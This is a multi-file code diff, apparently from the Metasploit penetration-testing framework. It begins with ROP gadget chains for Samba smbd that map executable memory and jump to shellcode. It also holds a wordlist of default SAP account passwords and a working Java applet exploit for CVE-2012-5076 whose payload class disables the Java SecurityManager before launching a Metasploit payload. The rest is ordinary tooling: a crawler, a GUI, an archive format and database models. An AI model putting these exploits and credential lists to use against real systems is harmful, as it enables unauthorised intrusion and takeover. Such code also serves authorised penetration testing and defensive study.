<gadget offset="0x00277540">pop ebp ; ret</gadget>
<gadget value ="0x0000003c">value to add to esp to point to shellcode</gadget>
<gadget offset="0x0011d3a6">add eax, ebp ; mov ebx, 0x81FFF807 ; ret </gadget>
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
<gadget offset="0x0000f445">pop eax; ret</gadget>
<gadget offset="0x008c0964">memcpy@got</gadget>
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<gadget offset="0x0009ee99">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x00148cc6">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x0000dbcf">pushad, ret</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
-->
<!-- ROP CHAIN for smbd 2:3.5.6~dfsg-3squeeze6
<compatibility
<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
</compatibility>
<gadgets base="0">
<gadget offset="0x00021cd9">pop eax; ret</gadget>
<gadget offset="0x008cf86c">mmap64@got</gadget>
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
<gadget offset="0x000234e5">jmp eax</gadget>
<gadget offset="0x000b0331">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
<gadget offset="0x0001cf12">pop edx ; ret</gadget>
<gadget offset="0x008d6000">edx = writable location, in GOT</gadget>
<gadget offset="0x00353f4c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x000b98e9">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x006bffd2">mov edx, ecx ; mov eax, edx ; pop ebp ; ret || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x003660e4">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x00394107">pop ebp ; ret</gadget>
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
<gadget offset="0x0017892d">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
<gadget offset="0x00021cd9">pop eax; ret</gadget>
<gadget offset="0x008cf1e8">memcpy@got</gadget>
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
<gadget offset="0x0001f666">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<gadget offset="0x000b9ac5">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x0033e7ea">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x00020453">pushad, ret</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
-->
</db>

View File

@ -0,0 +1,13 @@
class AddOwnerAndPayloadToWebVulns < ActiveRecord::Migration
def self.up
add_column :web_vulns, :owner, :string
add_column :web_vulns, :payload, :text
end
def self.down
remove_column :web_vulns, :owner
remove_column :web_vulns, :payload
end
end

View File

@ -0,0 +1,14 @@
SAP* 06071992
SAP* PASS
DDIC 19920706
DDIC Welcome01
SAPCPIC ADMIN
EARLYWATCH SUPPORT
TMSADM PASSWORD
TMSADM ADMIN
ADMIN welcome
ADSUSER ch4ngeme
ADS_AGENT ch4ngeme
DEVELOPER ch4ngeme
J2EE_ADMIN ch4ngeme
SAPJSF ch4ngeme

View File

@ -0,0 +1,69 @@
import java.applet.Applet;
import java.io.PrintStream;
import java.io.Serializable;
import java.lang.reflect.Method;
import com.sun.org.glassfish.gmbal.ManagedObjectManagerFactory;
import com.sun.org.glassfish.gmbal.util.GenericConstructor;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import metasploit.Payload;
//import java.lang.Runtime;
public class Exploit extends Applet
{
public Exploit()
{
}
public byte[] hex2Byte(String str)
{
byte[] bytes = new byte[str.length() / 2];
for (int i = 0; i < bytes.length; i++)
{
bytes[i] = (byte) Integer
.parseInt(str.substring(2 * i, 2 * i + 2), 16);
}
return bytes;
}
public void init()
{
try
{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[8192];
int length;
// read in the class file from the jar
InputStream is = getClass().getResourceAsStream("MyPayload.class");
// and write it out to the byte array stream
while( ( length = is.read( buffer ) ) > 0 )
bos.write( buffer, 0, length );
// convert it to a simple byte array
buffer = bos.toByteArray();
GenericConstructor genericconstructor = new GenericConstructor(Object.class, "sun.invoke.anon.AnonymousClassLoader", new Class[0]);
Object obj = genericconstructor.create(new Object[] {});
Method method = ManagedObjectManagerFactory.getMethod(obj.getClass(), "loadClass", new Class[] { byte[].class });
Class class1 = (Class)method.invoke(obj, new Object[] {
//byte_payload
buffer
});
class1.newInstance();
//System.out.println("SecurityManager:" + System.getSecurityManager());
//class1.getMethod("r", new Class[0]).invoke(class1, new Object[0]);
Payload.main(null);
//Runtime.getRuntime().exec("calc.exe");
}
catch(Exception exception)
{
//exception.printStackTrace();
}
}
}

View File

@ -0,0 +1,18 @@
# rt.jar must be in the classpath!
CLASSES = \
Exploit.java \
MyPayload.java
.SUFFIXES: .java .class
.java.class:
javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java
all: $(CLASSES:.java=.class)
install:
mv Exploit.class ../../../../data/exploits/cve-2012-5076/
mv MyPayload.class ../../../../data/exploits/cve-2012-5076/
clean:
rm -rf *.class

View File

@ -0,0 +1,33 @@
import java.security.*;
public class MyPayload
implements PrivilegedExceptionAction
{
public MyPayload()
{
try
{
AccessController.doPrivileged(this);
}
catch(PrivilegedActionException e)
{
//e.printStackTrace();
}
}
public Object run()
throws Exception
{
System.setSecurityManager(null);
return null;
}
public static void r()
throws Exception
{
//System.out.println("hello!");
}
}

View File

@ -423,7 +423,12 @@ nameloop: for (int i = 0; i < names.length; i++) {
public ActionListener getActor(final String modName, final String type, final RpcConnection rpcConn) {
return new ActionListener(){
public void actionPerformed(ActionEvent e) {
new ModulePopup(modName,rpcConn,type, MainFrame.this).setVisible(true);
//If we have saved options for this module, use those
Object modOptions = MsfguiApp.getPropertiesNode().get("modOptions");
if(modOptions != null && ((Map)modOptions).containsKey(type+" "+modName))
new ModulePopup(rpcConn, ((List)((Map)modOptions).get(type+" "+modName)).toArray(), MainFrame.this).setVisible(true);
else //otherwise go with the default
new ModulePopup(modName,rpcConn,type, MainFrame.this).setVisible(true);
}
};
}

View File

@ -287,12 +287,19 @@ public class MsfguiApp extends SingleFrameApplication {
}
Map hash = (Map)args.get(2);
StringBuilder name = new StringBuilder(args.get(0) + " " + args.get(1));
//Save these options
if(!propRoot.containsKey("modOptions")) //first ensure option map exists
propRoot.put("modOptions", new HashMap());
((Map)propRoot.get("modOptions")).put(name.toString(), args);
//Generate display name
for(Object ento : hash.entrySet()){
Entry ent = (Entry)ento;
String propName = ent.getKey().toString();
if(propName.endsWith("HOST") || propName.endsWith("PORT") || propName.equals("PAYLOAD"))
name.append(" ").append(propName).append("-").append(ent.getValue());
}
//Make menu item
final JMenuItem item = new JMenuItem(name.toString());
item.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {

View File

@ -9,7 +9,7 @@ require 'anemone/storage/base'
module Anemone
VERSION = '0.5.0';
VERSION = '0.5.0'
#
# Convenience method to start a crawl
@ -48,7 +48,7 @@ module Anemone
:cookies => nil,
# basic authentication data to send with HTTP requests
:http_basic_auth => nil,
# array or raw header lines to inject into each request
# array or raw header lines to inject into each request
:inject_headers => [],
# accept cookies from the server and send them back?
:accept_cookies => false,
@ -77,7 +77,7 @@ module Anemone
@skip_link_patterns = []
@after_crawl_blocks = []
@opts = opts
yield self if block_given?
end
@ -277,7 +277,7 @@ module Anemone
false
end
end
#
# Returns +true+ if *link* should not be visited because
# it has a query string and +skip_query_strings+ is true.
@ -301,6 +301,6 @@ module Anemone
@tentacles.each {|t| t.kill rescue nil }
@pages = nil
end
end
end

View File

@ -0,0 +1,7 @@
class Anemone::Extractors::Anchors < Anemone::Extractors::Base
def run
doc.search( '//a[@href]' ).map { |a| a['href'] }
end
end

View File

@ -0,0 +1,12 @@
class Anemone::Extractors::Dirbuster < Anemone::Extractors::Base
def run
return [] if page.code.to_i != 200
@@dirs ||= nil
return @@dirs if @@dirs
@@dirs = IO.read( File.dirname( __FILE__ ) + '/dirbuster/directories' ).split( "\n" )
end
end

View File

@ -0,0 +1,10 @@
test/
tmp/
stuff/
awstats/
awstats/awstats/
basilic/
cacti/
docs/text/manual.txt
docs/CHANGELOG
docs/html/php_script_server.html

View File

@ -0,0 +1,7 @@
class Anemone::Extractors::Forms < Anemone::Extractors::Base
def run
doc.search( '//form[@action]' ).map { |a| a['action'] }
end
end

View File

@ -0,0 +1,7 @@
class Anemone::Extractors::Frames < Anemone::Extractors::Base
def run
doc.css( 'frame', 'iframe' ).map { |a| a.attributes['src'].content rescue next }
end
end

View File

@ -0,0 +1,50 @@
require 'uri'
class Anemone::Extractors::Generic < Anemone::Extractors::Base
def run
URI.extract( doc.to_s, %w(http https) ).map do |u|
#
# This extractor needs to be a tiny bit intelligent because
# due to its generic nature it'll inevitably match some garbage.
#
# For example, if some JS code contains:
#
# var = 'http://blah.com?id=1'
#
# or
#
# var = { 'http://blah.com?id=1', 1 }
#
#
# The URI.extract call will match:
#
# http://blah.com?id=1'
#
# and
#
# http://blah.com?id=1',
#
# respectively.
#
if !includes_quotes?( u )
u
else
if html.include?( "'#{u}" )
u.split( '\'' ).first
elsif html.include?( "\"#{u}" )
u.split( '"' ).first
else
u
end
end
end
rescue
[]
end
def includes_quotes?( url )
url.include?( '\'' ) || url.include?( '"' )
end
end

View File

@ -0,0 +1,7 @@
class Anemone::Extractors::Links < Anemone::Extractors::Base
def run
doc.search( "//link[@href]" ).map { |a| a['href'] }
end
end

View File

@ -0,0 +1,24 @@
class Anemone::Extractors::MetaRefresh < Anemone::Extractors::Base
def run
doc.search( "//meta[@http-equiv='refresh']" ).map do |url|
begin
_, url = url['content'].split( ';', 2 )
next if !url
unquote( url.split( '=', 2 ).last )
rescue
next
end
end
rescue
nil
end
def unquote( str )
[ '\'', '"' ].each do |q|
return str[1...-1] if str.start_with?( q ) && str.end_with?( q )
end
str
end
end

View File

@ -0,0 +1,7 @@
class Anemone::Extractors::Scripts < Anemone::Extractors::Base
def run
doc.search( '//script[@src]' ).map { |a| a['src'] }
end
end

View File

@ -3,6 +3,22 @@ require 'ostruct'
require 'webrick/cookie'
module Anemone
# Path extractor container namespace.
module Extractors
class Base
attr_reader :page
def initialize( page )
@page = page
end
def doc
page.doc
end
end
end
class Page
# The URL of the page
@ -31,7 +47,7 @@ module Anemone
attr_accessor :response_time
# Storage for the original HTTP request that generated this response
attr_accessor :request
#
# Create a new page
#
@ -53,51 +69,52 @@ module Anemone
@fetched = !params[:code].nil?
end
def self.extractors
return @extractors if @extractors
lib = File.dirname( __FILE__ ) + '/extractors/*.rb'
Dir.glob( lib ).each { |e| require e }
@extractors = Extractors.constants.map do |e|
next if e == :Base
Extractors.const_get( e )
end.compact
end
def run_extractors
return [] if !doc
self.class.extractors.map { |e| e.new( self ).run rescue next }.flatten.
compact.map do |p|
abs = to_absolute( URI( p ) ) rescue next
!in_domain?( abs ) ? nil : abs
end.compact.uniq
end
#
# Array of distinct A tag HREFs from the page
#
# MODIFIED: Dig URLs from elements other than "A" refs
#
# MODIFIED: Dig URLs from elements other than "A" refs
#
def links
return @links unless @links.nil?
return @links if @links
@links = []
return @links if !doc
# First extract normal, direct links
etypes = %W{a frame iframe}
doc.css(*etypes).each do |r|
u = r['src'] || r['href']
next if u.nil? or u.empty?
abs = to_absolute(URI(u)) rescue next
@links << abs if in_domain?(abs)
end
# Now create links from other content URLs
etypes = %W{img script link form}
doc.css(*etypes).each do |r|
u = r['src'] || r['href'] || r['action']
next if u.nil? or u.empty?
# Remove any query string
u,tmp = u.split('?',2)
# Back off to the containing directory
u.gsub!(/(.*\/)[^\/]+$/, "\\1")
abs = to_absolute(URI(u)) rescue next
@links << abs if in_domain?(abs)
end
nlinks = []
@links.each do |u|
bits = u.path.split('/')
while(bits.length > 0)
@links = run_extractors
@links |= @links.map do |u|
# back-off to the parent dir
to_absolute( URI( u.path.gsub( /(.*\/)[^\/]+$/, "\\1" ) ) ) rescue next
end.uniq.compact
@links |= @links.map do |u|
bits = u.path.split( '/' )
while bits.length > 0
bits.pop
nlinks << to_absolute(URI(bits.join('/'))) rescue next
end
end
@links.push(nlinks)
to_absolute( URI( bits.join( '/' ) ) ) rescue next
end
end.uniq.compact
@links.flatten!
@links.uniq!
@links
@ -206,7 +223,7 @@ module Anemone
'headers' => Marshal.dump(@headers),
'data' => Marshal.dump(@data),
'body' => @body,
'links' => links.map(&:to_s),
'links' => links.map(&:to_s),
'code' => @code,
'visited' => @visited,
'depth' => @depth,
@ -234,5 +251,10 @@ module Anemone
end
page
end
def dup
Marshal.load( Marshal.dump( self ) )
end
end
end

View File

@ -5,7 +5,7 @@ require 'anemone/cookie_store'
#
# This is an alternate Anemone::HTTP implementation that uses the Metasploit Rex
# library and the Rex::Proto::Http protocol stack.
# library and the Rex::Proto::Http protocol stack.
#
module Anemone
@ -39,7 +39,7 @@ module Anemone
url = URI(url) unless url.is_a?(URI)
pages = []
get(url, referer) do |response, code, location, redirect_to, response_time|
page = Page.new(location, :body => response.body.dup,
:code => code,
:headers => response.headers,
@ -84,7 +84,7 @@ module Anemone
def virtual_host(url)
url.host
end
#
# Does this HTTP client accept cookies from the server?
#
@ -109,15 +109,15 @@ module Anemone
response, response_time = get_response(loc, referer)
code = response.code.to_i
redirect_to = nil
if code >= 300 and code <= 310
redirect_to = URI(response['location']).normalize
end
yield response, code, loc, redirect_to, response_time
limit -= 1
end while (loc = redirect_to) && allowed?(redirect_to, url) && limit > 0
end
@ -129,12 +129,11 @@ module Anemone
# it is sent to the remote system.
#
def get_response(url, referer = nil)
full_path = url.query.nil? ? url.path : "#{url.path}?#{url.query}"
opts = {
'uri' => url.path
'uri' => url.path,
'query' => url.query
}
opts['agent'] = user_agent if user_agent
opts['cookie'] = @cookie_store.to_s unless @cookie_store.empty? || (!accept_cookies? && @opts[:cookies].nil?)
@ -142,7 +141,7 @@ module Anemone
if referer
head['Referer'] = referer.to_s
end
if @opts[:http_basic_auth]
head['Authorization'] = "Basic " + @opts[:http_basic_auth]
end
@ -151,24 +150,24 @@ module Anemone
k,v = hdr.split(':', 2)
head[k] = v
end
opts['headers'] = head
retries = 0
begin
start = Time.now()
response = nil
request = nil
begin
conn = connection(url)
request = conn.request_raw(opts)
response = conn.send_recv(request, @opts[:timeout] || 10 )
response = conn.send_recv(request, @opts[:timeout] || 10 )
rescue ::Errno::EPIPE, ::Timeout::Error
end
finish = Time.now()
response_time = ((finish - start) * 1000).round
@cookie_store.merge!(response['Set-Cookie']) if accept_cookies?
return response, response_time
@ -191,12 +190,12 @@ module Anemone
'SSLv23',
@opts[:proxies]
)
conn.set_config(
'vhost' => virtual_host(url),
'agent' => user_agent
)
conn
end

View File

@ -8,7 +8,7 @@
#
#
# This format was specifically created to improve the performance and
# This format was specifically created to improve the performance and
# AV-resistance of the Metasploit Framework and Rex libraries.
#
@ -26,7 +26,7 @@ require "find"
# Copyright (C) 2011 Rapid7. You can redistribute it and/or
# modify it under the terms of the ruby license.
#
#
#
# Roughly based on the rubyzip zip/ziprequire library:
# >> Copyright (C) 2002 Thomas Sondergaard
# >> rubyzip is free software; you can redistribute it and/or
@ -42,10 +42,10 @@ class FastLib
FLAG_COMPRESS = 0x01
FLAG_ENCRYPT = 0x02
@@cache = {}
@@has_zlib = false
#
# Load zlib support if possible
#
@ -54,16 +54,16 @@ class FastLib
@@has_zlib = true
rescue ::LoadError
end
#
# This method returns the version of the fastlib library
#
def self.version
VERSION
end
#
# This method loads content from a specific archive file by name. If the
# This method loads content from a specific archive file by name. If the
# noprocess argument is set to true, the contents will not be expanded to
# include workarounds for things such as __FILE__. This is useful when
# loading raw binary data where these strings may occur
@ -72,55 +72,55 @@ class FastLib
data = ""
load_cache(lib)
return if not ( @@cache[lib] and @@cache[lib][name] )
return unless ( @@cache[lib] and @@cache[lib][name] )
::File.open(lib, "rb") do |fd|
fd.seek(
@@cache[lib][:fastlib_header][0] +
@@cache[lib][:fastlib_header][1] +
@@cache[lib][:fastlib_header][1] +
@@cache[lib][name][0]
)
data = fastlib_filter_decode( lib, fd.read(@@cache[lib][name][1] ))
end
# Return the contents in raw or processed form
noprocess ? data : post_process(lib, name, data)
end
#
# This method caches the file list and offsets within the archive
#
def self.load_cache(lib)
return if @@cache[lib]
@@cache[lib] = {}
return if not ::File.exists?(lib)
::File.open(lib, 'rb') do |fd|
dict = {}
head = fd.read(4)
return if head != "FAST"
hlen = fd.read(4).unpack("N")[0]
flag = fd.read(4).unpack("N")[0]
flag = fd.read(4).unpack("N")[0]
@@cache[lib][:fastlib_header] = [12, hlen, fd.stat.mtime.utc.to_i ]
@@cache[lib][:fastlib_flags] = flag
nlen, doff, dlen, tims = fd.read(16).unpack("N*")
while nlen > 0
name = fastlib_filter_decode( lib, fd.read(nlen) )
dict[name] = [doff, dlen, tims]
nlen, doff, dlen, tims = fd.read(16).unpack("N*")
end
@@cache[lib].merge!(dict)
end
end
#
# This method provides compression and encryption capabilities
# for the fastlib archive format.
@ -128,7 +128,7 @@ class FastLib
def self.fastlib_filter_decode(lib, buff)
if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0
@@cache[lib][:fastlib_decrypt] ||= ::Proc.new do |data|
stub = "decrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 )
FastLib.send(stub, data)
@ -136,7 +136,7 @@ class FastLib
buff = @@cache[lib][:fastlib_decrypt].call( buff )
end
if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0
if not @@has_zlib
raise ::RuntimeError, "zlib is required to open this archive"
@ -145,9 +145,9 @@ class FastLib
z = Zlib::Inflate.new
buff = z.inflate(buff)
buff << z.finish
z.close
z.close
end
buff
end
@ -156,7 +156,7 @@ class FastLib
# for the fastlib archive format.
#
def self.fastlib_filter_encode(lib, buff)
if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0
if not @@has_zlib
raise ::RuntimeError, "zlib is required to open this archive"
@ -165,11 +165,11 @@ class FastLib
z = Zlib::Deflate.new
buff = z.deflate(buff)
buff << z.finish
z.close
z.close
end
if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0
@@cache[lib][:fastlib_encrypt] ||= ::Proc.new do |data|
stub = "encrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 )
FastLib.send(stub, data)
@ -177,60 +177,65 @@ class FastLib
buff = @@cache[lib][:fastlib_encrypt].call( buff )
end
buff
end
# This method provides a way to create a FASTLIB archive programatically.
#
# This method provides a way to create a FASTLIB archive programatically,
# the key arguments are the name of the destination archive, the base
# directory that should be excluded from the archived path, and finally
# the list of specific files and directories to include in the archive.
#
# @param [String] lib the output path for the archive
# @param [String] flag a string containing the hex values for the
# flags ({FLAG_COMPRESS} and {FLAG_ENCRYPT}).
# @param [String] bdir the path to the base directory which will be
# stripped from all paths included in the archive
# @param [Array<String>] dirs list of directories/files to pack into
# the archive. All dirs should be under bdir so that the paths are
# stripped correctly.
# @return [void]
def self.dump(lib, flag, bdir, *dirs)
head = ""
data = ""
hidx = 0
didx = 0
bdir = bdir.gsub(/\/$/, '')
brex = /^#{Regexp.escape(bdir)}\//
@@cache[lib] = {
:fastlib_flags => flag.to_i(16)
}
dirs.each do |dir|
::Find.find(dir).each do |path|
::Find.find(dir) do |path|
next if not ::File.file?(path)
name = fastlib_filter_encode( lib, path.sub( brex, "" ) )
buff = ""
::File.open(path, "rb") do |fd|
buff = fastlib_filter_encode(lib, fd.read(fd.stat.size))
end
head << [ name.length, didx, buff.length, ::File.stat(path).mtime.utc.to_i ].pack("NNNN")
head << name
hidx = hidx + 16 + name.length
data << buff
didx = didx + buff.length
end
end
head << [0,0,0].pack("NNN")
::File.open(lib, "wb") do |fd|
fd.write("FAST")
fd.write( [ head.length, flag.to_i(16) ].pack("NN") )
fd.write( head )
fd.write( data )
end
end
end
#
# This archive provides a way to list the contents of an archive
# file, returning the names only in sorted order.
@ -239,7 +244,7 @@ class FastLib
load_cache(lib)
( @@cache[lib] || {} ).keys.map{|x| x.to_s }.sort.select{ |x| @@cache[lib][x] }
end
#
# This method is called on the loaded is required to expand __FILE__
# and other inline dynamic constants to map to the correct location.
@ -247,7 +252,7 @@ class FastLib
def self.post_process(lib, name, data)
data.gsub('__FILE__', "'#{ ::File.expand_path(::File.join(::File.dirname(lib), name)) }'")
end
#
# This is a stub crypto handler that performs a basic XOR
# operation against a fixed one byte key. The two usable IDs
@ -256,25 +261,25 @@ class FastLib
def self.encrypt_12345600(data)
encrypt_00000000(data)
end
def self.decrypt_12345600(data)
encrypt_00000000(data)
end
def self.encrypt_00000000(data)
data.unpack("C*").map{ |c| c ^ 0x90 }.pack("C*")
end
def self.decrypt_00000000(data)
encrypt_00000000(data)
end
#
# Expose the cache to callers
#
def self.cache
@@cache
end
end
end
@ -288,7 +293,7 @@ if __FILE__ == $0
$stderr.puts "Usage: #{$0} [dump|list|version] <arguments>"
exit(0)
end
case cmd
when "store"
dst = ARGV.shift
@ -300,7 +305,7 @@ if __FILE__ == $0
exit(0)
end
FastLib.dump(dst, flg, dir, *src)
when "list"
src = ARGV.shift
unless src
@ -319,7 +324,7 @@ if __FILE__ == $0
when "version"
$stdout.puts "FastLib Version #{FastLib.version}"
end
exit(0)
end
@ -336,7 +341,7 @@ end
* The header entries always consist of 16 bytes + name length (no alignment)
* The header name data may be encoded, compressed, or transformed
* The data entries may be encoded, compressed, or transformed too
4 bytes: "FAST"
4 bytes: NBO header length
@ -354,7 +359,7 @@ end
module Kernel #:nodoc:all
alias :fastlib_original_require :require
#
# Store the CWD when were initially loaded
# required for resolving relative paths
@ -364,11 +369,11 @@ module Kernel #:nodoc:all
#
# This method hooks the original Kernel.require to support
# loading files within FASTLIB archives
#
#
def require(name)
fastlib_require(name) || fastlib_original_require(name)
end
#
# This method handles the loading of FASTLIB archives
#
@ -377,24 +382,24 @@ module Kernel #:nodoc:all
return false if fastlib_already_loaded?(name)
return false if fastlib_already_tried?(name)
# XXX Implement relative search paths within archives
$:.map{ |path|
# XXX Implement relative search paths within archives
$:.map{ |path|
(path =~ /^([A-Za-z]\:|\/)/ ) ? path : ::File.expand_path( ::File.join(@@fastlib_base_cwd, path) )
}.map{ |path| ::Dir["#{path}/*.fastlib"] }.flatten.uniq.each do |lib|
data = FastLib.load(lib, name)
next if not data
$" << name
Object.class_eval(data, lib + "::" + name)
return true
end
$fastlib_miss << name
$fastlib_miss << name
false
end
#
# This method determines whether the specific file name
# has already been loaded ($LOADED_FEATURES aka $")
@ -412,11 +417,11 @@ module Kernel #:nodoc:all
# TODO: Ensure that this only applies to known FASTLIB
# archives and that newly included archives will
# be searched appropriately.
#
#
def fastlib_already_tried?(name)
$fastlib_miss ||= []
$fastlib_miss.include?(name)
end
end
end

View File

@ -10,13 +10,9 @@ require 'rubygems'
version = ">= 0"
if ARGV.first
str = ARGV.first
str = str.dup.force_encoding("BINARY") if str.respond_to? :force_encoding
if str =~ /\A_(.*)_\z/
version = $1
ARGV.shift
end
if ARGV.first =~ /^_(.*)_$/ and Gem::Version.correct? $1 then
version = $1
ARGV.shift
end
gem 'metasploit_data_models', version

View File

@ -1,6 +0,0 @@
.rvmrc
.DS_Store
*.gem
.bundle
Gemfile.lock
pkg/*

View File

@ -1,4 +0,0 @@
source "http://rubygems.org"
# Specify your gem's dependencies in metasploit_data_models.gemspec
gemspec

View File

@ -1,75 +0,0 @@
#MetasploitDataModels
The database layer for Metasploit
## Purpose
__MetasploitDataModels__ exists to do several key things:
1. Allow code sharing between Metasploit Framework (MSF) and the commercial versions of Metasploit (Community, Express, Pro -- usually referred to collectively as "Pro")
2. Give developers a lightweight entry point to MSF's backend for use in developing tools that gather data intended for later use with Metasploit (e.g. specialized scanners).
3. Make it easy to keep commercial stuff private while increasing the functionality of the open-source tools we provide to the community.
## Usage
### Rails
In a Rails application we simply include the ActiveRecord mixins directly, usually inside models with similar names.
### MSF
When MetasploitDataModels is included by MSF, the gem dynamically creates
ActiveRecord model classes.
Both of these behaviors are based on the assumption that the files in
__lib/metasploit_data_models/active_record_models__, though implemented here as
mixins, actually represent the basic ActiveRecord model structure that both Metasploit Framework and Metasploit Pro use.
### Elsewhere
__NOTE: This isn't in RubyGems yet. Using a Gemfile entry pointing to this repo (i.e., using [Bundler](http://gembundler.com)) is the suggested option for now.__
Usage outside of Rapid7 is still alpha, and we're not making many promises. That being said, usage is easy:
```ruby
connection_info = YAML.load_file("path/to/rails-style/db_config_file")
ActiveRecord::Base.establish_connection(connection_info['development'])
include MetasploitDataModels
MetasploitDataModels.create_and_load_ar_classes
```
Basically you need to do the following things:
1. Establish an ActiveRecord connection. A Rails __config/database.yml__ is ideal for this.
2. Include the MetasploitDataModels module.
3. Call the class method that builds the AR models into the Mdm namespace( __MetasploitDataModels.create_and_load_ar_classes__ ).
## Developer Info
### Console
The gem includes a console based on [Pry](https://github.com/pry/pry/)
Give it a path to a working MSF database.yml file for full
ActiveRecord-based access to your data.
__Note:__ "development" mode is hardcoded into the console currently.
### ActiveRecord::ConnectionError issues
Because the gem is defining mixins, there can be no knowledge of the
specifics of any "current" ActiveRecord connection. But if ActiveRecord
encounters something in a child class that would require knowledge of
the connection adapter (e.g. the use of an RDBMS-specific function in
a named scope's "WHERE" clause), it will check to see if the adapter
supports it and then throw an exception when the connection object
(which provides the adapter) is nil.
This means that, for all but the most trivial cases, you need to use Arel
versions of queries instead of ones utilizing straight SQL.
You'll encounter this sometimes if you do dev work on this gem. A good
rule of thumb: anything that goes into the class_eval block must be able
to work without knowledge of the AR connection adapter type.

View File

@ -1 +0,0 @@
require "bundler/gem_tasks"

View File

@ -1,63 +0,0 @@
require "active_record"
require "active_support"
require "active_support/all"
require "shellwords"
require "metasploit_data_models/version"
require "metasploit_data_models/serialized_prefs"
require "metasploit_data_models/base64_serializer"
require "metasploit_data_models/validators/ip_format_validator"
require "metasploit_data_models/validators/password_is_strong_validator"
# Declare the (blessedly short) common namespace for the ActiveRecord classes
module Mdm; end
module MetasploitDataModels
module ActiveRecordModels; end
# Dynamically create AR classes if being included from Msf::DBManager
# otherwise, just make the modules available for arbitrary inclusion.
def self.included(base)
ar_mixins.each{|file| require file}
create_and_load_ar_classes if base.to_s == 'Msf::DBManager'
end
# The code in each of these represents the basic structure of a correspondingly named
# ActiveRecord model class. Those classes are explicitly created in our Rails app
# for the commercial versions, and the functionality from the mixins is included
# into model classes directly.
#
# When not explicitly overloading the classes in your own files use MetasploitDataModels#create_and_load_ar_classes
# to dynamically generate ActiveRecord classes in the Mdm namespace.
def self.ar_mixins
models_dir = File.expand_path(File.dirname(__FILE__)) + "/metasploit_data_models/active_record_models"
Dir.glob("#{models_dir}/*.rb")
end
# Dynamically create ActiveRecord descendant classes in the Mdm namespace
def self.create_and_load_ar_classes
ar_module_names.each do |cname|
class_str =<<-RUBY
class Mdm::#{cname} < ActiveRecord::Base
include MetasploitDataModels::ActiveRecordModels::#{cname}
end
RUBY
eval class_str, binding, __FILE__, __LINE__ # *slightly* more obvious stack trace
end
end
# Derive "constant" strings from the names of the files in
# lib/metasploit_data_models/active_record_models
def self.ar_module_names
ar_mixins.inject([]) do |array, path|
filename = File.basename(path).split(".").first
c_name = filename.classify
c_name << "s" if filename =~ /^[\w]+s$/ # classify can't do plurals
array << c_name
array
end
end
end

View File

@ -1,22 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::ApiKey
def self.included(base)
base.class_eval {
validate do |key|
lic = License.get
if lic and not lic.supports_api?
key.errors[:unsupported_product] = " - this product does not support API access"
end
if key.token.to_s.empty?
key.errors[:blank_token] = " - the specified authentication token is empty"
end
if key.token.to_s.length < 8
key.errors[:token_too_short] = " - the specified authentication token must be at least 8 characters long"
end
end
}
end
end

View File

@ -1,8 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Client
def self.included(base)
base.class_eval {
belongs_to :host, :class_name => "Mdm::Host"
belongs_to :campaign, :class_name => "Campaign"
}
end
end

View File

@ -1,78 +0,0 @@
module MetasploitDataModels::ActiveRecordModels::Cred
def self.included(base)
base.class_eval{
belongs_to :service, :class_name => "Mdm::Service"
unless defined? PTYPES
const_def =<<-CONST_DEF
PTYPES = {
"read/write password" => "password_rw",
"read-only password" => "password_ro",
"SMB hash" => "smb_hash",
"SSH private key" => "ssh_key",
"SSH public key" => "ssh_pubkey"
}
CONST_DEF
eval(const_def)
end
